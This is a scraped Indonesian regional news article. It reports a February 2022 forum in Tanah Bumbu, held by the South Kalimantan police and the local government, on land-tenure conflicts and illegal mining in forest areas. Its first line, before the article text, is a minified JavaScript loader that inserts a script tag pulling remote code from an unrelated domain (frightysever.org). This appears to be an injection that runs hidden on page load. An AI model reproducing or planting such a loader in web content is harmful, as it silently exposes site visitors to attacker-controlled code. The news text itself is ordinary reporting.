(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Polda Kalsel bekerja sama dengan Pemkab Tanah Bumbu (Tanbu) menggelar Forum Group Discussion (FGD) tentang Strategi Pemerintah dalam Penanganan Konflik Tenurial serta Pertambangan Illegal dalam Kawasan Hutan, Senin (14/2/2022).
Kegiatan digelar di Soraja Hall Hotel Ebony Batulicin ini dibuka Bupati HM Zairullah Azhar melalui Asisten Pemerintahan dan Kesejahteraan Rakyat Ir Mariani dengan turut dihadiri instansi terkait, pimpinan perusahaan, Camat, serta tamu undangan.
Ps. Kasubdit Kamsus Dit Intelkam Polda Kalsel, I Wayan Suwardiasa selaku Ketua Panitia Pelaksana dalam sambutannya menyampaikan kegiatan ini dilaksanakan sebagai bentuk intervensi dini terhadap konflik sosial yang mungkin terjadi di masyarakat. Terutama terkait konflik tenurial atau lahan.
Melalui FGD ini, ia berharap para peserta dapat memperoleh informasi terkait regulasi pertambangan dalam kawasan hutan sehingga seluruh pihak baik itu Pemda ataupun Perusahaan dapat menjalankan peran dan tanggung jawab untuk mencegah serta memberikan penanganan terkait hal tersebut.
Baca juga: 12 Anggota Polrestabes Surabaya Dipecat dengan Tidak Hormat
Terlebih disebutkan bahwa narasumber yang dihadirkan juga merupakan tenaga ahli serta berkompeten di bidangnya. Sehingga apa yang disampaikan diharapkan juga dapat menjadi dasar acuan untuk melangkah lebih lanjut dalam rangka penyelesaian konflik-konflik yang ada di sekitar kawasan hutan.
“Perusahaan nyaman berinvestasi, namun masyarakat yang berada di sekitar kawasan hutan serta perusahaan dapat merasakan manfaat dari kehadiran pihak perusahaan seperti dengan program-program CSR,” ungkapnya.
Selain itu juga ia juga mengungkapkan bahwa perkembangan penduduk membuat kawasan hutan menjadi salah satu incaran bagi masyarakat untuk bercocok tanam.
“Akan ada penjelasan dari narasumber terkait jadi ada regulasi yang harus ditempuh oleh masyarakat sehingga masyarakat juga dapat hidup dengan pemanfaatan kawasan hutan dengan tetap menaati regulasi yang berlaku,” sebut Kompol Suwardiasa.
Sementara itu Bupati Tanah Bumbu HM Zairullah Azhar yang diwakili Asisten Pemerintahan Kesejahteraan Rakyat Ir. Mariani menyampaikan bahwa Pemerintah Daerah memberikan kepada Polda Kalsel atas terselenggaranya kegiatan ini.
Baca juga: Mendaki Gunung Pamaton, Youtuber Amuntai Tersesat Sejak Dua Hari Lalu Ditemukan!
“Kami berharap FGD ini menjadi sebuah solusi yang tepat dan tanggap dalam menyelesaikan konflik serta memberikan strategi yang efektif di dalam penanganan konflik tenurial yang terjadi di Bumi Bersujud,” pungkasnya.
Ada pun dalam FGD ini menghadirkan sejumlah narasumber dari instansi terkait di antaranya Kementerian ESDM RI, Kementerian LHK RI BPKH Wil. V, Dinas Kehutanan Tanbu, Kantor BPN/ATR, Dinas Perkimtan, serta Biro Pemerintahan dan Otonomi Daerah Pemprov Kalsel. (kanalkalimantan.com/ftr)
Reporter: ftr
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.